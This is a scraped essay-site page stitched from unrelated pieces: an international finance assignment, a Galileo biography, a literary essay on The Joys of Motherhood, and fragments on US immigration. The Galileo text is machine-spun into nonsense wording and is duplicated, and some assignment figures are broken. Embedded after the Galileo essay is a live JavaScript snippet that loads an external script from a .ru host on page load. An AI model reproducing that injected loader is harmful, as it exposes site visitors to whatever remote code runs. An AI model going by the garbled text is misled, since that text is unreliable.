believe any of these problems will vanish in the months ahead. Yet the dollar will soar in 2010. Here’s why†¦ Two Reasons for a Dollar Rebound There are two main forces that could drive the dollar high er: †¢ All the problems mentioned above are already well recognized and priced into the greenback. †¢ Dollar psychology is overwhelmingly bearish. Just as 10 years ago, investors couldn’t imagine Internet stocks doing anything but soaring higher. Five years ago, they couldn’t imagine real estate doing anything but barrelling down the same one-way street. Record lows for the dollar are coinciding with enormous confidence that the dollar has nowhere to go but down. When extreme valuations are accompanied by unbridled optimism or abject pessimism, it virtually always marks a turning point – and an opportunity. This is no exception. Commentators seem to forget that all currency values are contingent. You can’t just look at fundamentals in the United States. You have to look at them abroad, too. And there isn’t uch out there right now that’s terribly positive†¦ America’s Fellow Heavyweights Have Problems, Too Take Europe, for example†¦ †¢ Eurozone: In the third quarter, the 16-nation Eurozone grew at a 1. 5% annual rate. The U. S economy, by comparison, grew at 3. 5%. European consumers and most business sectors are still feeling the pain from the deepest recession since the 1930s. The continent is likely to be the weakest region for global expansion next year, according to Julian Callow, Chief European Economist at Barclays Capital in London. †¢ United Kingdom: This is no bastion of strength, either. Europe’s biggest economy outside the Eurozone is still in recession, due to overly indebted British households and tight credit. British GDP contracted at an annualized 1. 6% in the third quarter. †¢ Japan: The world’s second-largest economy has its own problems, too. At 172% of GDP, Japan’s government debt is by far the largest among rich nations. What’s more, it’s expected to reach 200% next year – and hit 300% within a decade. Rising social security costs and the weak economy are the primary culprits. The new government there is trying to prevent a double-dip recession by spending even more. But with government debt soaring to records, talk of new stimulus measures is already pushing up long-term rates and threatening to curtail the impact of fresh spending. Source: Economics help Question 10: Standard deviation is a widely used measurement of variability or diversity used in statistics and probability theory. It shows how much variation or â€Å"dispersion† there is from the â€Å"average† (mean, or expected/budgeted value). A low standard deviation indicates that the data points tend to be very close to the mean, whereas high standard deviation indicates that the data are spread out over a large range of values. Technically, the standard deviation of a statistical population, data set, or probability distribution is the square root of its variance. It is algebraically simpler though practically less robust than the average absolute deviation. A useful property of standard deviation is that, unlike variance, it is expressed in the same units as the data. Note, however, that for measurements with percentage as unit, the standard deviation will have percentage points as unit. In addition to expressing the variability of a population, standard deviation is commonly used to measure confidence in statistical conclusions. For example, the margin of error in polling data is determined by calculating the expected standard deviation in the results if the same poll were to be conducted multiple times. The reported margin of error is typically about twice the standard deviation – the radius of a 95 percent confidence interval. In science, researchers commonly report the standard deviation of experimental data, and only effects that fall far outside the range of standard deviation are considered statistically significant – normal random error or variation in the measurements is in this way distinguished from causal variation. Standard deviation is also important in finance, where the standard deviation on the rate of return on an investment is a measure of the volatility of the investment. When only a sample of data from a population is available, the population standard deviation can be estimated by a modified quantity called the sample standard deviation [pic] Risks can be reduced in four main ways: Avoidance, Diversification, Hedging and Insurance by transferring risk. Systemic risk, also called market risk or un-diversifiable risk, is a risk of security that cannot be reduced through diversification. Participants in the market, like hedge funds, can be the source of an increase in systemic risk and transfer of risk to them may, paradoxically, increase the exposure to systemic risk. Unsystematic risk also called the diversifiable risk or residual risk. The risk that is unique to a company such as a strike, the outcome of unfavorable litigation, or a natural catastrophe that can be eliminated through diversification. A ratio developed by Nobel laureate  William F. Sharpe to measure risk-adjusted performance. The  Sharpe ratio  is calculated by subtracting the risk-free rate – such as  that of the  10-year U. S. Treasury bond –  from the rate of return for a portfolio and dividing the result by the standard deviation of the portfolio returns. The Sharpe ratio formula is: [pic] The Sharpe ratio tells us whether a portfolio’s returns  are due to smart investment decisions or a result of excess risk. This measurement is very useful because  although one portfolio or fund can reap higher returns than its peers, it is only a good investment if those higher returns do not come with too much additional risk. The greater a portfolio’s Sharpe ratio, the better its risk-adjusted performance has been. A negative Sharpe ratio indicates that a risk-less asset would perform better than the security being analyzed. A variation of the Sharpe ratio is the Sortino ratio, which removes the effects of upward price movements on standard deviation to measure only return against downward price volatility. The Treynor ratio (sometimes called the reward-to-volatility ratio or Treynor measure), named after Jack L. Treynor, is a measurement of the returns earned in excess of that which could have been earned on an investment that has no diversifiable risk (e. g. Treasury Bills or a completely diversified portfolio), per each unit of market risk assumed. The Treynor measure is similar to the Sharpe measure, but the Treynor measure uses the portfolio’s beta instead of the portfolio’s standard deviation. The Treynor measure is calculated as follows: (rp – rf) / ? p In this equation, rp = the average return on the portfolio, rf = the average risk-free rate, and ? p = the weighted average beta of the portfolio. The Treynor measure is found by dividing the portfolio risk premium by the portfolio risk as measured by the beta. An asset’s Treynor measure in isolation also means little. It also must be measured against the market’s Treynor measure, which is calculated by dividing the market risk premium, or the return on the market minus the risk-free rate by the beta of the market, which is 1. 0. If the asset’s Treynor measure is greater than the market’s Treynor measure, the asset has outperformed on a risk-adjusted basis. Source: Investopedia SECTION B: ESSAY QUESTIONS Question 1: One of the primary uses of PPP is in lessening the misleading effects of shifts in a national currency. This is particularly an issue when calculating a nation’s Gross Domestic Product (GDP). For example, if the riel falls in value to 80% of its value on the dollar, the GDP as expressed in US dollars will also drop to 80%. This does not accurately reflect the standard of living in that country (a common use of GDP), however, because the devaluation of the riel is most likely due to international trade issues that will not yet have had any effect on the average Cambodian. By using purchasing power parity, however, one is not misled by the temporary devaluation of the riel in relation to the dollar — a Big Mac ® still costs 9,000 riel in Cambodia and $3 USD in the US, and so the Big Mac ® index exchange rate remains the same. Purchasing power parity is, of course, an imperfect device for determining things such as GDP, as the exchange rate will vary based on the basket item used for the index. This effect is lessened by looking at a large sample of commodities, rather than one or two, but this simply minimizes the problem rather than eliminating it entirely. It is also worth noting that PPP lumps items together into broad classes, not taking into account things such as quality — a hat is a hat is a hat, and its value in the index remains static, even though a shoddy hat’s value on the international market would be much lower than a well-made hat’s value. According to interest rate parity the difference between the (risk free) interest rates paid on two currencies should be equal to the differences between the spot and forward rates. If interest rate parity is violated, then an arbitrage opportunity exists. The simplest example of this is what would happen if the forward rate was the same as the spot rate but the interest rates were different, then investors would: 1. borrow in the currency with the lower rate 2. convert the cash at spot rates 3. enter into a forward contract to convert the cash plus the expected interest at the same rate 4. nvest the money at the higher rate 5. convert back through the forward contract 6. repay the principal and the interest, knowing the latter will be less than the interest received. Therefore, we can expect interest rate parity to apply. However, there is evidence of forward rate bias. Covered interest rate parity Assuming the arbitrage opportunity described above does not exist, then the relations hip for US dollars and pounds sterling is: (1 + r? )/(1+r$) = (? /$f)/(? /$s) where r? is the sterling interest rate (till the date of the forward), r$ is the dollar interest rate, /$f is the forward sterling to dollar rate, ?/$s is the spot sterling to dollar rate Unless interest rates are very high or the period considered is long, this is a very good approximation: r? = r$ + f where f is the forward premium: (? /$f)/(? /$s) -1 The above relationship is derived from assuming that covered interest arbitrage opportunities should not last, and is therefore called covered interest rate parity. Uncovered interest rate parity Assuming uncovered interest arbitrage leads us to a slightly different relationship: r = r2 + E[? S] where E[? S] is the expected change is exchange rates. This is called uncovered interest rate parity. As the forward rate will be the market expectation of the change in rates, this is equivalent to covered interest rate parity – unless one is speculating on market expectations being wrong. The evidence on uncovered interest rate parity is mixed. The effect proposes that if the real interest rate is equal to the nominal interest rate minus the expected inflation rate, and if the rea interest rate were to be held constant, that the nominal rate and the inflation rate have to be adjusted on a one-for-one basis. Real interest rate = nominal interest rate – inflation rate. In simple terms: an increase in inflation will result in an increase in the nominal interest rate. For example, if the real interest rate is held at a constant 5. 5% and inflation increased from 2% to 3%, the Fisher Effect indicates that the nominal interest rate would have to increase from 7. 5% (5. 5% real rate + 2% inflation rate) to 8. 5% (5. 5% real rate + 3% inflation rate). International Fisher Effect theory that the currency of a nation with a comparatively higher interest rate will depreciate in value in comparison to the currency of a nation with a comparatively lower interest rate. It further implies that the extent of depreciation will be equal to the difference in interest rates in those two nations. It is based on the observation that the level of real interest rate in an economy is closely linked to the level of local inflation rate and is independent of a government’s monetary policies. Thus, in general, the higher the inflation rate, the lower the value of currency. Source: Investopedia Question 2: Firstly, Comparative advantage was first described by Robert Torrens in 1815 in an essay on the Corn Laws. He concluded it was to England’s advantage to trade with Portugal in return for grain, even though it might be possible to produce that grain more cheaply in England than Portugal. However, the concept is usually attributed to David Ricardo who explained it in his 1817 book On the Principles of Political Economy and Taxation in an example involving England and Portugal. In Portugal it is possible to produce both wine and cloth with less labor than it would take to produce the same quantities in England. However the relative costs of producing those two goods are different in the two countries. In England it is very hard to produce wine, and only moderately difficult to produce cloth. In Portugal both are easy to produce. Therefore while it is cheaper to produce cloth in Portugal than England, it is cheaper still for Portugal to produce excess wine, and trade that for English cloth. Conversely England benefits from this trade because its cost for producing cloth has not changed but it can now get wine at a lower price, closer to the cost of cloth. The conclusion drawn is that each country can gain by specializing in the good where it has comparative advantage, and trading that good for the other. Example: Two men live alone on an isolated island. To survive they must undertake a few basic economic activities like water carrying, fishing, cooking and shelter construction and maintenance. The first man is young, strong, and educated. He is also faster, better, and more productive at everything. He has an absolute advantage in all activities. The second man is old, weak, and uneducated. He has an absolute disadvantage in all economic activities. In some activities the difference between the two is great; in others it is small. Despite the fact that the younger man has absolute advantage in all activities, it is not in the interest of either of them to work in isolation since they both can benefit from specialization and exchange. If the two men divide the work according to comparative advantage then the young man will specialize in tasks at which he is most productive, while the older man will concentrate on tasks where his productivity is only a little less than that of the young man. Such an arrangement will increase total production for a given amount of labor supplied by both men and it will benefit both of them. Imperfect market refers to a type of  market that does not operate under the rigid rules of perfect competition. Perfect competition implies an industry or market in which no one supplier can influence prices, barriers to entry and exit are small, all suppliers offer the same goods, there are a large number of   suppliers and buyers, and information on pricing and process is readily available. Forms of imperfect competition include monopoly, oligopoly, monopolistic competition, monopsony and oligopsony. Thirdly, a product life cycle refers to the time period between the launch of a product into the market till it is finally withdrawn. In a nut shell, product life cycle or PLC is an odyssey from new and innovative to old and outdated! This cycle is split into four different stages which encompass the product’s journey from its entry to exit from the market. The product life cycle theory is used to comprehend and analyze various maturity stages of products and industries. Product innovation and diffusion influence long-term patterns of international trade. This term product life cycle was used for the first time in 1965, by Theodore Levitt in an Harvard Business Review article: â€Å"Exploit the Product Life Cycle†. Anything that satisfies a consumer’s need is called a ‘product’. It may be a tangible product (clothes, crockery, cars, house, and gadgets) or an intangible service (banking, health care, hotel service, airline service). Irrespective of the kind of product, all products introduced into the market undergo a common life cycle. To understand what this product life cycle theory is all about, let us have a quick look at its definition. This cycle is based on the all familiar biological life cycle, wherein a seed is planted (introduction stage), germinates (growth stage), sends out roots in the ground and shoots with branches and leaves against gravity, thereby maturing into an adult (maturity stage). As the plant lives its life and nears old age, it shrivels up, shrinks and dies out (decline stage). Similarly, a product also has a life cycle of its own. A product’s entry or launching phase into the market corresponds to the introduction stage. As the product gains popularity and wins the trust of consumers it begins to grow. Further, with increasing sales, the product captures enough market share and gets stable in the market. This is called the maturity stage. However, after some time, the product gets overpowered by latest technological developments and entry of superior competitors in the market. Soon the product becomes obsolete and needs to be withdrawn from the market. This is the decline phase. This was the crux of a product life cycle theory and the graph of a product’s life cycle looks like a bell-shaped curve. Let us delve more into this management theory. Source: Buzzle Question 3: | | |Belize |Costa Rica | |Earnings before taxes | |1,000,000. 00 |1,500,000. 0 | |corporate income tax Rate | |0. 4 |0. 3 | |Tax | |400,000. 00 |450,000. 00 | |Earnings after taxes | |600,000. 00 |1,050,000. 00 | | | |300,000. 0 |525,000. 00 | |Dividend wtax rate   | |0. 1 |0 | |Dividend wtax amount | |30,000. 00 |0 | |Remitted amount after wtax | |270,000. 00 |525,000. 0 | | | | | | |Current US Corporate income tax rate | | |5% | |Dividend received by US parent after US Corporate tax | | |26,2500. 00 | |Net Dividend Received | |270,000. 0 |498,750. 00 | | | | | | |Total Earning before tax |250,000. 00 | | | | | | | | |Total Dividend received by Gramboa |768,750. 0 | | | |Total Tax paid |906,250. 00 | | | | | | | | |Overall effective tax  rate |36. 35% | | | Question 4: Option 1 – No Hedging Assume that the expected spot rate in 90 Days is indeed $1. 7850/?. Now: a) 90 days putX = 1. 75P = 0. 015 b) 90 daysX = 1. 71P = 0. 01 3 months laterExercise Option (a) Received = (1. 75 – 0. 015) * 3mil = $5,205,000. 00 Answer: Do Not exercise Option 2 – Forward Hedge Buy a forward hedge at 90 Days forward rate at $1. 7550/? Now enter F @ 1,755 Money receivable in $ = 1. 755 x 3m = $5. 265m Option 3 – Money Market Hedge 1) Day 1 – Borrow ? , Amount borrowed = ? (3m / (1 + (14/4) /100)) = ? 2,898,550. 00 2) Day 1 – Convert all ? to $ = $1. 762 x 2,898,550. 00 = $5,107,246. 00 Option 1: Put $5,107,246. 0 to US bank @ 6% Option 2: Use $5,107,246. 00 as capital investment 3 months later:Option 1 Received ? 3 mil to pay ? 3 mil to British Bank Dollars in pocket = $5,107,246. 00 * (1+6%* 3/12) = $5,183,854. 69 Option 2 Received ? 3 mil to pay ? 3 mil to bank $5,107,246. 00 (1+12%*3/12) = $5,260,463. 00 Conclusion Money market is the best option as the m oney received is more than Put option hedge. Forward hedge resulted in receiving more than money market hedge wheras no hedging is assuming that the expected spot rate is reached but that is leaving it to chance. — END OF ASSIGNMENT– How to cite International Finance: Study Notes, Papers

Galileo Essay Research Paper Galileo Galilei Galileo free essay sample

Galileo Essay, Research Paper Galileo Galilei Galileo Galilei was born at Pisa on the 18th of February in 1564. His male parent, Vincenzo Galilei, belonged to a baronial household and had gained some differentiation as a instrumentalist and a mathematician. At an early age, Galileo manifested his ability to larn both mathematical and mechanical types of things, but his parents, wishing to turn him aside from surveies which promised no significant return, steered him toward some kind of medical profession. But this had no consequence on Galileo. During his young person he was allowed to follow the way that he wished to. Although in the popular head Galileo is remembered chiefly as an uranologist, nevertheless, the scientific discipline of mechanics and kineticss reasonably much owe their being to his findings. Before he was twenty, observation of the oscillations of a singing lamp in the cathedral of Pisa led him to the find of the isochronism of the pendulum, which theory he utilized 50 old ages subsequently in t he building of an astronomical clock. In 1588, an essay on the centre of gravitation in solids obtained for him the rubric of the Archimedes of his clip, and secured him a learning topographic point in the University of Pisa. During the old ages instantly following, taking advantage of the famed propensity tower, he laid the foundation by experimentation of the theory of falling organic structures and demonstrated the falseness of the Aristotelian axiom, which is that an objects rate of descent is relative to its weight. When he challenged this it made all of the followings of Aristotle highly angry, they would non demur the fact that their leader could hold been incorrect. Galileo, in consequence of this and other problems, found it prudent to discontinue Pisa and travel to Florence, the original place of his household. In Florence he was nominated by the Venetian Senate in 1592 to the chair of mathematics in the University of Padua, which he occupied for 18 old ages, with ever-increasing celebrity. After that he was a ppointed philosopher and mathematician to the Grand Duke of Tuscany. During the whole of this period, and to the stopping point of his life, his probe of Nature, in all her Fieldss, was neer stopped. Following up his experiments at Pisa with others upon inclined planes, Galileo established the Torahs of falling organic structures as they are still formulated. He similarly demonstrated the Torahs of missiles, and mostly anticipated the Torahs of gesture as eventually established by Newton. In statics, he gave the first direct and satisfactory presentation of the Torahs of equilibrium and the rule of practical speeds. In hydrostatics, he set forth the true rule of floatation. He invented a thermometer, though a faulty one, but he did non, as is sometimes claimed for him, invent the microscope. Though, as has been said, it is by his astronomical finds that he is most widely remembered, it is non these that constitute his most significant rubric to fame. In this connexion, his greatest accomplishment was doubtless his practical innovation of the telescope. Hearing early in 1609 that a Dutch lens maker, named Lippershey, had produced an instrument by which the evident size of distant objects was magnified, Galileo at one time realized the rule by which such a consequence could entirely be attained, and, after a individual dark devoted to consideration of the Torahs of refraction, he succeeded in building a telescope which magnified three times, its amplifying power being shortly increased to thirty-two. This instrument being provided and turned towards the celestial spheres, the finds, which have made Galileo celebrated, were bound at one time to follow, though doubtless he was speedy to hold on their full significance. The Moon was shown non to be, as the old uranology taught, a smooth and perfect domain, of different nature to the Earth, but to possess hills and vales and other characteristics resembling those of our ain Earth. The planet Jupiter was found to hol d orbiters, therefore exposing a solar system in illumination, and back uping the philosophy of Copernicus. It had been argued against the said system that, if it were true, the inferior planets, Venus and Mercury, between the Earth and the Sun, should in the class of their revolution exhibit stages like those of the Moon, and, these being unseeable to the bare oculus, Copernicus had to alter the false account that these planets were crystalline and the Sun # 8217 ; s beams passed through them. But with his telescope Galileo found that Venus did really exhibit the coveted stages, and the expostulation was therefore turned into an statement for Copernicanism. Galileo was tried by the Inquisition for his Hagiographas discoursing the Ptolemaic and Copernican systems. In June 1633, Galileo was condemned to life imprisonment for unorthodoxy. His Hagiographas about these topics were banned, and pressmans were out to print anything farther by him or even to reissue his old plants. Outside Italy, nevertheless, his Hagiographas were translated into Latin and were read by bookmans throughout Europe. Galileo remained under imprisonment until his decease in 1642. However he neer was a existent captive for he neer spent any clip in a prison cell or being treated like a condemnable. Alternatively he spent his clip in fancy flats. The remainder of the clip he was allowed to utilize houses of friends as his topographic points of parturiency the, ever comfy and normally epicurean. R / gt ; Bibliography Galileo Galilei Galileo Galilei was born at Pisa on the 18th of February in 1564. His male parent, Vincenzo Galilei, belonged to a baronial household and had gained some differentiation as a instrumentalist and a mathematician. At an early age, Galileo manifested his ability to larn both mathematical and mechanical types of things, but his parents, wishing to turn him aside from surveies which promised no significant return, steered him toward some kind of medical profession. But this had no consequence on Galileo. During his young person he was allowed to follow the way that he wished to. Although in the popular head Galileo is remembered chiefly as an uranologist, nevertheless, the scientific discipline of mechanics and kineticss reasonably much owe their being to his findings. Before he was twenty, observation of the oscillations of a singing lamp in the cathedral of Pisa led him to the find of the isochronism of the pendulum, which theory he utilized 50 old ages subsequently in t he building of an astronomical clock. In 1588, an essay on the centre of gravitation in solids obtained for him the rubric of the Archimedes of his clip, and secured him a learning topographic point in the University of Pisa. During the old ages instantly following, taking advantage of the famed propensity tower, he laid the foundation by experimentation of the theory of falling organic structures and demonstrated the falseness of the Aristotelian axiom, which is that an objects rate of descent is relative to its weight. When he challenged this it made all of the followings of Aristotle highly angry, they would non demur the fact that their leader could hold been incorrect. Galileo, in consequence of this and other problems, found it prudent to discontinue Pisa and travel to Florence, the original place of his household. In Florence he was nominated by the Venetian Senate in 1592 to the chair of mathematics in the University of Padua, which he occupied for 18 old ages, with ever-inc reasing celebrity. After that he was appointed philosopher and mathematician to the Grand Duke of Tuscany. During the whole of this period, and to the stopping point of his life, his probe of Nature, in all her Fieldss, was neer stopped. Following up his experiments at Pisa with others upon inclined planes, Galileo established the Torahs of falling organic structures as they are still formulated. He similarly demonstrated the Torahs of missiles, and mostly anticipated the Torahs of gesture as eventually established by Newton. In statics, he gave the first direct and satisfactory presentation of the Torahs of equilibrium and the rule of practical speeds. In hydrostatics, he set forth the true rule of floatation. He invented a thermometer, though a faulty one, but he did non, as is sometimes claimed for him, invent the microscope. Though, as has been said, it is by his astronomical finds that he is most widely remembered, it is non these that constitute his most significant rubric to fame. In this connexion, his greatest accomplishment was doubtless his practical innovation of the telescope. Hearing early in 1609 that a Dutch lens maker, named Lippershey, had produced an instrument by which the evident size of distant objects was magnified, Galileo at one time realized the rule by which such a consequence could entirely be attained, and, after a individual dark devoted to consideration of the Torahs of refraction, he succeeded in building a telescope which magnified three times, its amplifying power being shortly increased to thirty-two. This instrument being provided and turned towards the celestial spheres, the finds, which have made Galileo celebrated, were bound at one time to follow, though doubtless he was speedy to hold on their full significance. The Moon was shown non to be, as the old uranology taught, a smooth and perfect domain, of different nature to the Earth, but to possess hills and vales and other characteristics resembling those of our ain Eart h. The planet Jupiter was found to hold orbiters, therefore exposing a solar system in illumination, and back uping the philosophy of Copernicus. It had been argued against the said system that, if it were true, the inferior planets, Venus and Mercury, between the Earth and the Sun, should in the class of their revolution exhibit stages like those of the Moon, and, these being unseeable to the bare oculus, Copernicus had to alter the false account that these planets were crystalline and the Sun # 8217 ; s beams passed through them. But with his telescope Galileo found that Venus did really exhibit the coveted stages, and the expostulation was therefore turned into an statement for Copernicanism. Galileo was tried by the Inquisition for his Hagiographas discoursing the Ptolemaic and Copernican systems. In June 1633, Galileo was condemned to life imprisonment for unorthodoxy. His Hagiographas about these topics were banned, and pressmans were out to print anything farther by him or e ven to reissue his old plants. Outside Italy, nevertheless, his Hagiographas were translated into Latin and were read by bookmans throughout Europe. Galileo remained under imprisonment until his decease in 1642. However he neer was a existent captive for he neer spent any clip in a prison cell or being treated like a condemnable. Alternatively he spent his clip in fancy flats. The remainder of the clip he was allowed to utilize houses of friends as his topographic points of parturiency the, ever comfy and normally epicurean 315 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

The Joys of Motherhood free essay sample

THE CHANGING PARADIGMS OF THE LOVE LAWS The Joys of Motherhood, by Buchi Emecheta, describes the hardships of life in West-Africa from the perspective of Nnu Ego. The novel reveals the byproducts of development and colonialism in West-Africa; byproducts that affect society’s hierarchy of gender and subservience. Through the Englishman’s intervention in West-Africa, the economic well-being of families is greatly restored. However, this supposed positive change also casts many negative circumstances, in which the gender roles of male and female become more fluid. The shifting of gender roles within The Joys of Motherhood is a direct consequence of the colonialism and economic development of West-Africa. This traditional alteration as a direct result of economic enticement affects Arundhati Roy’s, Love Laws, when economics becomes the overriding factor in life itself. The Love Laws are governed by one’s economical standings. If a person brings no financial incentive to the table, then they become less loved. We will write a custom essay sample on The Joys of Motherhood or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Cordelia said, when talking about her husband Ubani, (CH4) â€Å"Men here are too busy being white men’s servants to be men. We women mind the home. Not our husbands. Their manhood has been taken away from them. The shame is that they don’t know it. † When colonialism met traditional twentieth century West-African society, it completely altered the roles of men. Nnu Ego agreed with Cordelia, saying that it felt like she was wedded to a middle-aged woman during the first stage of her second marriage, when Nnu Egos husband Nniafe was working for the Meers. Nnu Ego also has little respect for Nniafe, as she criticizes not only Nniafes conscious subordination by the Meer family, but also the fact that he takes pride in his job. This subservient role men play is not necessarily caused by Colonialism, but rather the capitalist based labor system they imposed upon West-African society. Men are only acting on behalf of the economic incentive working for colonialists gives them. Nniafe and Ubani take no regard towards the dignity and masculinity of their jobs. Since the colonization and development of West-Africa, the paradigm has adopted a new hierarchal prototype based on fiscal power. All other cultural aspects of life also take the second tier. This compromises their role as superiors, as they are now cast on the second tier. It also consumes their once predetermined power and the vivid line between males and females. These sentiments resonate the constant theme in the novel, that Lagos corrupts and permanently alters tradition. This in turn robs one of his individual identity and manhood. However, the Love Laws stay intact. No matter how Cordelia and Nnu Ego react towards their husbands serfdom by the Meers, they are still in full dependence. Societal tradition and culture are rendered obsolete when facing the Love Laws, since the only weighing factor on who should be loved is ones economic well-being. God, when will you create a woman who will be fulfilled in herself, a full human being, not anybody’s appendage? she prayed desperately. † As an Ibo mother, Nnu Ego has the expectation of others to prepare her sons for the future. The ones who bear the brunt are Nnu Ego’s daughters. Women are not expected to live a full life. They are expected to birth children, preferably sons, and rig htfully do their penance to provide their sons with the best future possible. Girls have little worth in the traditional West-African culture. Their only value is the bride price they manage to stamp on their forehead. Women are expected to shadow their husbands’ identity, with no worth to themselves apart from the future generations they breed. However, the quote also brings up Nnu Egos extremely pivotal hypothesis: the idea of foregoing a collective society for a more individualistic and autonomous one. Colonialism delivered a new economic and social order to Lagos, in which the role of both men and women has changed. Has Nnu Ego found an outlet to the suppressed life that women currently live in Lagos? She watches her husband perform the daily chores of a supreme woman, one with divine power over men. Nniafe is laundering clothes for Mrs. Meers, feeling no subservience or regret. Nnu Ego begins to anticipate the changes in the traditional culture, as a direct result from colonial influence. The economic shift, that was brought over by the colonists, had one very impacting side effect: with money, comes independence. She shift in gender roles began to dwell in Nnu Egos mind, as she anticipated a future where women will be of prime importance, rather than simply being used to serve their superiors and collective society at the expense of themselves. By stimulating your own economic well-being, Nnu Ego can lived a self-fulfilled life, one without the influence of men. Nnu Ego is envisioning a world that will allow her to be more loved. If she manages to provide an adequate amount of money for herself and her family, they will love her more. If she can become more individualistic, they will love her more. In this scenario, in which Nnu Ego forecasts a world where individual finances dictate who should be loved, the gender line between male and female roles becomes almost outmoded by economic incentives. However, there is one major factor that is standing in the way of her enlightened future. Ironically, it is also a womens only worth: children. â€Å"Her love and duty for her children were like her chain of slavery. † This quote stands as the antithesis of the books title, and it proves to be true throughout the book. Instead of Nnu Ego and the many other women in the Ibo community living a self-fulfilling life, motherhood casts on them a sense of enslavement. This sense of enslavement is also Nnu Egos sense of identity. Her foremost function is to bear children, seeing that it is the only way of achieving rank and respect in the eyes of society. Nnu Egos struggle between achieving independence and respect is a double-edge sword. When she cannot impregnate herself, she fears she will become a disrespected cast-away of society. However, her lack of reliance gives her a knack for self-sufficiency. On the other hand (or sword), once Nnu Ego is able to produce children, she becomes ill-equipped to provide for them, and loses her freedom of self. The quote shows a very distinct paradox between a womans intent to bear children, and her overall goal for independence. It also shows the changing paradigms of the Love Laws. Ever since colonialism and development of Africa, the economic incentives have rewarded people financially for making certain choices and behaving in a certain way, that is, working for the Englishmen. This is a form of competitive employment and allows for socioeconomic polarization, as the incentively propelled workers are taking more initiative towards performing well, and less towards their social environment. Social constituents may tend to lose the cultural-catalysis in mens inter-personal relations amid their cut-and-dry lifestyle. This, in turn, culturally bounds their sense of responsibility and spirit. These husbands detachment to traditional living causes their wives to see their transformation and emancipation over time. Nnu Ego not only sees the subordination and cultural-loss of her husband, fueled by money, but also the independence that individual ambition gives him. She notices the changing dynamics of the Love Laws, as she starts to become less loved and Nniafe becomes more loved. While Nnu Ego is trying to nurture her children out of poverty, enslaved to her kids, Nniafe is acting on individual initiative. The Love Laws have changed, because whether Nnu Ego likes it or not, she isnt the provider for the family. â€Å"She had been trying to be traditional in a modern urban setting. It was because she wanted to be a woman of Ibuza in a town like Lagos that she lost her child. This time she was going to play according to the new rules. † Nnu Ego cannot hold onto to her traditions when society is becoming culturally-bounded due to economic incentives. You can never step into the same river; for new waters are always flowing on to you. † The fact that economics surpasses all other cultural, social, and traditional incentives represents the changing paradigms in the Love Laws. . In Nnu Egos traditional vision of the family, individual concerns are secondary to the livelihood of the group. Nniafe was acting on individual initiative. What dictates who sh ould be loved is economical. This is a direct consequence of the colonization of West-Africa. The colonialism of West-Africa positively charged the economy and negatively cast the traditional culture on the second-tier. In effect, the line discerning gender roles became more transparent. Adam Smith, father of modern economics, once said â€Å"individual ambition serves the common good†. In the economic sense, this statement is true. It transcends to Nniafe and Nnu Ego, and also their children Adim, Oshia, and Kehinde, who all retaliate against strict hierarchies implicit in the family structure and dethrone the mantle of tradition by having what is most taboo in their culture: individual ambition.

Mujtaba 456 (4) Essays

Mujtaba 456 (4) Essays Mujtaba 456 (4) Essay Mujtaba 456 (4) Essay Name: Tutor: Course: Date: Mujtaba 456 (4) Growth of population has numerous effects on a country. America is no exception. This article discusses several issues concerning this. First, the article discusses the causes of the exponential population growth, experienced between 1800 and 1890, in the United States. Next, the article breaks down the population growth, according to origins and localities. Thirdly, this article explains the role of immigration in this surge. Finally, the article attempts to explain the costs of immigration to the United States. The population of the United States more than tripled, in the period between 1860 and 1890. This is attributable to several factors. First, Immigration plays a significant role in the aforementioned growth. Immigration depends on two factors, the Atlantic slave trade and European Immigration. Hughes and Cain (107) state: â€Å"the German speaking regions of Europe produced nearly 1 million immigrants to the United States.† The influx of European settlers was mostly due to crop failures, such as the Irish famine. Second, there was a high birth rate in the United States. Hughes Cain (104) state that, the birth rate went down to 41.4 per 1000 births in 1860, from 55 per 1000 earlier. This rate was still higher than other European countries. The aforementioned population surge significantly affected urban regions. Between 1860 and 1890, the American urban population grew by over 20 percent. The high immigration of people to the more-developed North Eastern cities proves this. Hughes and Cain (110) state: â€Å"3.6 million foreign-born whites lived in the Northeast and East-North-Central states; a mere 391,000 lived in the Southern states†. In that period, the white population grew by around 86 percent. Similarly, the foreign-born population grew by around 14 percent. However, by 1890, the birth rate had slowed by a half. The population growth in America had various results, in an economic perspective. First, it enabled the manufacturing sector of the economy to grow. This fact is attributable to ready labor, provided by the immigrants. Hughes Cain (114) state: â€Å"in the 1840s, manufacturing employment grew more rapidly than any other sector (123.2 percent), increasing its share of total employment from 8.9 percent to 14.0 percent.† Construction and the service industries also grew at unheard of rates (Hughes Cain 114). Therefore, the real output per capita of the United States grew largely. However, the rise in population also led to more mouths to feed countered this effect to some extent. The real income growth per capita was around 1 percent for that period. As a result, the growth of population in the country stands questioning. The article has tried to explain the role of population growth on the economy of the United States. However, other effects have also been discussed, such as, demographics of States/regions in the United States. The article also discusses the reasons for immigration into the United States by European people, though to a lesser extent. From this article, we see that, the American economy benefited from immigration from Europe. Hughes, Jonathan R. T, and Louis P. Cain. American Economic History. Reading, Mass: Addison-Wesley, 2010. Print.

Anything that relate to Macroeconomic Research Proposal

Anything that relate to Macroeconomic - Research Proposal Example It is observed that illegal Mexican immigrants are less likely to become US citizens. Mexico’s close proximity to the US and noticeable difference in the living standards or life quality between the two countries are the major reasons amplifying the rate of Mexican migration flow to the US. For many Mexican immigrants, just finding a job is the main goal of their migration to US. Statistical data indicate that the rate of illegal migration from communities all throughout Mexico to the US significantly increased during the 1980s. Undoubtedly, illegal immigration has notable effects on the US social system also. This paper will analyze whether or not the illegal Mexican immigration would benefit the US economy. History of Illegal Mexican Immigration The history of illegal Mexican immigration can be dated back to the mid-19th century. The Treaty of Guadalupe Hidalgo led to the end of Mexican-American War in 1848 and this treaty reduced the size of Mexico by 45% because Mexico was forced to surrender the land known today as California, Nevada, Arizona, and Utah to the United States. Following the war, Americans had to recruit many workers to build a railroad and to enhance other infrastructure development activities. For this, Americans brought roughly 55,000 migrant workers to former Mexican territories during the period 1850-1880. American leaders were happy to welcome Mexican immigrants because those immigrant workers were willing to work under harsh conditions even though they were paid substandard wages. The immigration flow to the US particularly increased from 1910 with the Mexican revolution. During this period, nearly 50,000 Mexican people migrated to the US every year in order to find a job. American leaders welcomed Mexican immigrants with open arms until they realized that the employment difficulties caused was the result of the increased Mexican 